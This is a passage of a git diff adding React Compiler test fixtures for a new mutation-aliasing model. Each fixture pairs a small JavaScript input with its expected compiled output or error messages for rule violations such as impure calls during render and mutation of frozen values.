+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [["val1", "val2"]],
+  isComponent: false,
+};
+
+```
+      
+### Eval output
+(kind: ok) "val2"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-2-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-2-iife.js
new file mode 100644
index 000000000000..a77287910a41
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-2-iife.js
@@ -0,0 +1,16 @@
+// @enableNewMutationAliasingModel
+function bar(a) {
+  let x = [a];
+  let y = {};
+  (function () {
+    y = x[0][1];
+  })();
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [['val1', 'val2']],
+  isComponent: false,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-3-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-3-iife.expect.md
new file mode 100644
index 000000000000..7483ed4e06a9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-3-iife.expect.md
@@ -0,0 +1,72 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function bar(a, b) {
+  let x = [a, b];
+  let y = {};
+  let t = {};
+  (function () {
+    y = x[0][1];
+    t = x[1][0];
+  })();
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [
+    [1, 2],
+    [2, 3],
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function bar(a, b) {
+  const $ = _c(6);
+  let t0;
+  if ($[0] !== a || $[1] !== b) {
+    t0 = [a, b];
+    $[0] = a;
+    $[1] = b;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  const x = t0;
+  let y;
+  if ($[3] !== x[0][1] || $[4] !== x[1][0]) {
+    y = {};
+    let t = {};
+
+    y = x[0][1];
+    t = x[1][0];
+    $[3] = x[0][1];
+    $[4] = x[1][0];
+    $[5] = y;
+  } else {
+    y = $[5];
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [
+    [1, 2],
+    [2, 3],
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) 2
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-3-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-3-iife.js
new file mode 100644
index 000000000000..9afe5994b210
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-3-iife.js
@@ -0,0 +1,20 @@
+// @enableNewMutationAliasingModel
+function bar(a, b) {
+  let x = [a, b];
+  let y = {};
+  let t = {};
+  (function () {
+    y = x[0][1];
+    t = x[1][0];
+  })();
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [
+    [1, 2],
+    [2, 3],
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-4-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-4-iife.expect.md
new file mode 100644
index 000000000000..69de576fdfba
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-4-iife.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function bar(a) {
+  let x = [a];
+  let y = {};
+  (function () {
+    y = x[0].a[1];
+  })();
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [{a: ['val1', 'val2']}],
+  isComponent: false,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function bar(a) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== a) {
+    t0 = [a];
+    $[0] = a;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let y;
+  if ($[2] !== x[0].a[1]) {
+    y = {};
+
+    y = x[0].a[1];
+    $[2] = x[0].a[1];
+    $[3] = y;
+  } else {
+    y = $[3];
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [{ a: ["val1", "val2"] }],
+  isComponent: false,
+};
+
+```
+      
+### Eval output
+(kind: ok) "val2"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-4-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-4-iife.js
new file mode 100644
index 000000000000..5a3cb878485d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-4-iife.js
@@ -0,0 +1,16 @@
+// @enableNewMutationAliasingModel
+function bar(a) {
+  let x = [a];
+  let y = {};
+  (function () {
+    y = x[0].a[1];
+  })();
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: [{a: ['val1', 'val2']}],
+  isComponent: false,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-iife.expect.md
new file mode 100644
index 000000000000..2ff5714010cb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-iife.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function bar(a) {
+  let x = [a];
+  let y = {};
+  (function () {
+    y = x[0];
+  })();
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: ['TodoAdd'],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function bar(a) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== a) {
+    t0 = [a];
+    $[0] = a;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let y;
+  if ($[2] !== x[0]) {
+    y = {};
+
+    y = x[0];
+    $[2] = x[0];
+    $[3] = y;
+  } else {
+    y = $[3];
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: ["TodoAdd"],
+};
+
+```
+      
+### Eval output
+(kind: ok) "TodoAdd"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-iife.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-iife.js
new file mode 100644
index 000000000000..0b95fc02a2b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/capturing-function-alias-computed-load-iife.js
@@ -0,0 +1,15 @@
+// @enableNewMutationAliasingModel
+function bar(a) {
+  let x = [a];
+  let y = {};
+  (function () {
+    y = x[0];
+  })();
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: bar,
+  params: ['TodoAdd'],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-impure-functions-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-impure-functions-in-render.expect.md
new file mode 100644
index 000000000000..1241971d827d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-impure-functions-in-render.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @validateNoImpureFunctionsInRender @enableNewMutationAliasingModel
+
+function Component() {
+  const date = Date.now();
+  const now = performance.now();
+  const rand = Math.random();
+  return <Foo date={date} now={now} rand={rand} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Error: Cannot call impure function during render
+
+`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
+
+error.invalid-impure-functions-in-render.ts:4:15
+  2 |
+  3 | function Component() {
+> 4 |   const date = Date.now();
+    |                ^^^^^^^^^^ Cannot call impure function
+  5 |   const now = performance.now();
+  6 |   const rand = Math.random();
+  7 |   return <Foo date={date} now={now} rand={rand} />;
+
+Error: Cannot call impure function during render
+
+`performance.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
+
+error.invalid-impure-functions-in-render.ts:5:14
+  3 | function Component() {
+  4 |   const date = Date.now();
+> 5 |   const now = performance.now();
+    |               ^^^^^^^^^^^^^^^^^ Cannot call impure function
+  6 |   const rand = Math.random();
+  7 |   return <Foo date={date} now={now} rand={rand} />;
+  8 | }
+
+Error: Cannot call impure function during render
+
+`Math.random` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).
+
+error.invalid-impure-functions-in-render.ts:6:15
+  4 |   const date = Date.now();
+  5 |   const now = performance.now();
+> 6 |   const rand = Math.random();
+    |                ^^^^^^^^^^^^^ Cannot call impure function
+  7 |   return <Foo date={date} now={now} rand={rand} />;
+  8 | }
+  9 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-impure-functions-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-impure-functions-in-render.js
new file mode 100644
index 000000000000..83cf3e04f2b6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-impure-functions-in-render.js
@@ -0,0 +1,8 @@
+// @validateNoImpureFunctionsInRender @enableNewMutationAliasingModel
+
+function Component() {
+  const date = Date.now();
+  const now = performance.now();
+  const rand = Math.random();
+  return <Foo date={date} now={now} rand={rand} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.expect.md
new file mode 100644
index 000000000000..5cd2cf7b9798
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.expect.md
@@ -0,0 +1,82 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const onClick = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  return <button onClick={onClick}>Submit</button>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:6:4
+  4 |
+  5 |   const reassignLocal = newValue => {
+> 6 |     local = newValue;
+    |     ^^^^^ Cannot reassign `local` after render completes
+  7 |   };
+  8 |
+  9 |   const onClick = newValue => {
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:32:26
+  30 |   };
+  31 |
+> 32 |   return <button onClick={onClick}>Submit</button>;
+     |                           ^^^^^^^ This function may (indirectly) reassign or modify `local` after render
+  33 | }
+  34 |
+
+error.invalid-reassign-local-variable-in-jsx-callback.ts:6:4
+  4 |
+  5 |   const reassignLocal = newValue => {
+> 6 |     local = newValue;
+    |     ^^^^^ This modifies `local`
+  7 |   };
+  8 |
+  9 |   const onClick = newValue => {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.js
new file mode 100644
index 000000000000..2cfb336bcf5e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-reassign-local-variable-in-jsx-callback.js
@@ -0,0 +1,33 @@
+// @enableNewMutationAliasingModel
+function Component() {
+  let local;
+
+  const reassignLocal = newValue => {
+    local = newValue;
+  };
+
+  const onClick = newValue => {
+    reassignLocal('hello');
+
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+
+  return <button onClick={onClick}>Submit</button>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.expect.md
new file mode 100644
index 000000000000..d50943f67784
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+//@flow @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel
+
+import {useCallback} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+function Component({content, refetch}) {
+  // This callback function accesses a hoisted const as a dependency,
+  // but it cannot reference it as a dependency since that would be a
+  // TDZ violation!
+  const onRefetch = useCallback(() => {
+    refetch(data);
+  }, [refetch]);
+
+  // The context variable gets frozen here since it's passed to a hook
+  const onSubmit = useIdentity(onRefetch);
+
+  // This has to error: onRefetch needs to memoize with `content` as a
+  // dependency, but the dependency comes later
+  const {data = null} = content;
+
+  return <Foo data={data} onSubmit={onSubmit} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot access variable before it is declared
+
+`data` is accessed before it is declared, which prevents the earlier access from updating when this value changes over time.
+
+   9 |   // TDZ violation!
+  10 |   const onRefetch = useCallback(() => {
+> 11 |     refetch(data);
+     |             ^^^^ `data` accessed before it is declared
+  12 |   }, [refetch]);
+  13 |
+  14 |   // The context variable gets frozen here since it's passed to a hook
+
+  17 |   // This has to error: onRefetch needs to memoize with `content` as a
+  18 |   // dependency, but the dependency comes later
+> 19 |   const {data = null} = content;
+     |          ^^^^^^^^^^^ `data` is declared here
+  20 |
+  21 |   return <Foo data={data} onSubmit={onSubmit} />;
+  22 | }
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+   9 |   // TDZ violation!
+  10 |   const onRefetch = useCallback(() => {
+> 11 |     refetch(data);
+     |             ^^^^ Missing dependency `data`
+  12 |   }, [refetch]);
+  13 |
+  14 |   // The context variable gets frozen here since it's passed to a hook
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.js
new file mode 100644
index 000000000000..30d1e0e35e3f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-referencing-frozen-hoisted-storecontext-const.js
@@ -0,0 +1,22 @@
+//@flow @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel
+
+import {useCallback} from 'react';
+import {useIdentity} from 'shared-runtime';
+
+function Component({content, refetch}) {
+  // This callback function accesses a hoisted const as a dependency,
+  // but it cannot reference it as a dependency since that would be a
+  // TDZ violation!
+  const onRefetch = useCallback(() => {
+    refetch(data);
+  }, [refetch]);
+
+  // The context variable gets frozen here since it's passed to a hook
+  const onSubmit = useIdentity(onRefetch);
+
+  // This has to error: onRefetch needs to memoize with `content` as a
+  // dependency, but the dependency comes later
+  const {data = null} = content;
+
+  return <Foo data={data} onSubmit={onSubmit} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-useCallback-captures-reassigned-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-useCallback-captures-reassigned-context.expect.md
new file mode 100644
index 000000000000..f3ebad71dfca
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-useCallback-captures-reassigned-context.expect.md
@@ -0,0 +1,61 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
+import {makeArray} from 'shared-runtime';
+
+// This case is already unsound in source, so we can safely bailout
+function Foo(props) {
+  let x = [];
+  x.push(props);
+
+  // makeArray() is captured, but depsList contains [props]
+  const cb = useCallback(() => [x], [x]);
+
+  x = makeArray();
+
+  return cb;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.
+
+error.invalid-useCallback-captures-reassigned-context.ts:11:37
+   9 |
+  10 |   // makeArray() is captured, but depsList contains [props]
+> 11 |   const cb = useCallback(() => [x], [x]);
+     |                                      ^ This dependency may be modified later
+  12 |
+  13 |   x = makeArray();
+  14 |
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+error.invalid-useCallback-captures-reassigned-context.ts:11:25
+   9 |
+  10 |   // makeArray() is captured, but depsList contains [props]
+> 11 |   const cb = useCallback(() => [x], [x]);
+     |                          ^^^^^^^^^ Could not preserve existing memoization
+  12 |
+  13 |   x = makeArray();
+  14 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-useCallback-captures-reassigned-context.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-useCallback-captures-reassigned-context.js
new file mode 100644
index 000000000000..d084df5e7a19
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.invalid-useCallback-captures-reassigned-context.js
@@ -0,0 +1,20 @@
+// @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
+import {makeArray} from 'shared-runtime';
+
+// This case is already unsound in source, so we can safely bailout
+function Foo(props) {
+  let x = [];
+  x.push(props);
+
+  // makeArray() is captured, but depsList contains [props]
+  const cb = useCallback(() => [x], [x]);
+
+  x = makeArray();
+
+  return cb;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-frozen-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-frozen-value.expect.md
new file mode 100644
index 000000000000..f73f23b262d9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-frozen-value.expect.md
@@ -0,0 +1,35 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = {a};
+  useFreeze(x);
+  x.y = true;
+  return <div>error</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook.
+
+error.mutate-frozen-value.ts:5:2
+  3 |   const x = {a};
+  4 |   useFreeze(x);
+> 5 |   x.y = true;
+    |   ^ value cannot be modified
+  6 |   return <div>error</div>;
+  7 | }
+  8 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-frozen-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-frozen-value.js
new file mode 100644
index 000000000000..4964f2304912
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-frozen-value.js
@@ -0,0 +1,7 @@
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = {a};
+  useFreeze(x);
+  x.y = true;
+  return <div>error</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-hook-argument.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-hook-argument.expect.md
new file mode 100644
index 000000000000..3de6acb91ba4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-hook-argument.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function useHook(a, b) {
+  b.test = 1;
+  a.test = 2;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.mutate-hook-argument.ts:3:2
+  1 | // @enableNewMutationAliasingModel
+  2 | function useHook(a, b) {
+> 3 |   b.test = 1;
+    |   ^ value cannot be modified
+  4 |   a.test = 2;
+  5 | }
+  6 |
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.mutate-hook-argument.ts:4:2
+  2 | function useHook(a, b) {
+  3 |   b.test = 1;
+> 4 |   a.test = 2;
+    |   ^ value cannot be modified
+  5 | }
+  6 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-hook-argument.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-hook-argument.js
new file mode 100644
index 000000000000..41c5b9913246
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.mutate-hook-argument.js
@@ -0,0 +1,5 @@
+// @enableNewMutationAliasingModel
+function useHook(a, b) {
+  b.test = 1;
+  a.test = 2;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.not-useEffect-external-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.not-useEffect-external-mutate.expect.md
new file mode 100644
index 000000000000..80a12e5d409f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.not-useEffect-external-mutate.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+let x = {a: 42};
+
+function Component(props) {
+  foo(() => {
+    x.a = 10;
+    x.a = 20;
+  });
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.not-useEffect-external-mutate.ts:6:4
+  4 | function Component(props) {
+  5 |   foo(() => {
+> 6 |     x.a = 10;
+    |     ^ value cannot be modified
+  7 |     x.a = 20;
+  8 |   });
+  9 | }
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.not-useEffect-external-mutate.ts:7:4
+   5 |   foo(() => {
+   6 |     x.a = 10;
+>  7 |     x.a = 20;
+     |     ^ value cannot be modified
+   8 |   });
+   9 | }
+  10 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.not-useEffect-external-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.not-useEffect-external-mutate.js
new file mode 100644
index 000000000000..ed51080726b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.not-useEffect-external-mutate.js
@@ -0,0 +1,9 @@
+// @enableNewMutationAliasingModel
+let x = {a: 42};
+
+function Component(props) {
+  foo(() => {
+    x.a = 10;
+    x.a = 20;
+  });
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global-indirect.expect.md
new file mode 100644
index 000000000000..9d106cd4f4ef
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global-indirect.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component() {
+  const foo = () => {
+    // Cannot assign to globals
+    someUnknownGlobal = true;
+    moduleLocal = true;
+  };
+  foo();
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `someUnknownGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassignment-to-global-indirect.ts:5:4
+  3 |   const foo = () => {
+  4 |     // Cannot assign to globals
+> 5 |     someUnknownGlobal = true;
+    |     ^^^^^^^^^^^^^^^^^ `someUnknownGlobal` cannot be reassigned
+  6 |     moduleLocal = true;
+  7 |   };
+  8 |   foo();
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `moduleLocal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassignment-to-global-indirect.ts:6:4
+  4 |     // Cannot assign to globals
+  5 |     someUnknownGlobal = true;
+> 6 |     moduleLocal = true;
+    |     ^^^^^^^^^^^ `moduleLocal` cannot be reassigned
+  7 |   };
+  8 |   foo();
+  9 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global-indirect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global-indirect.js
new file mode 100644
index 000000000000..6d6681e60ad3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/error.reassignment-to-global-indirect.js
@@ -0,0 +1,9 @@
+// @enableNewMutationAliasingModel
+function Component() {
+  const foo = () => {
+    // Cannot assign to globals
+    someUnknownGlobal = true;
+    moduleLocal = true;
+  };
+  foo();
+}
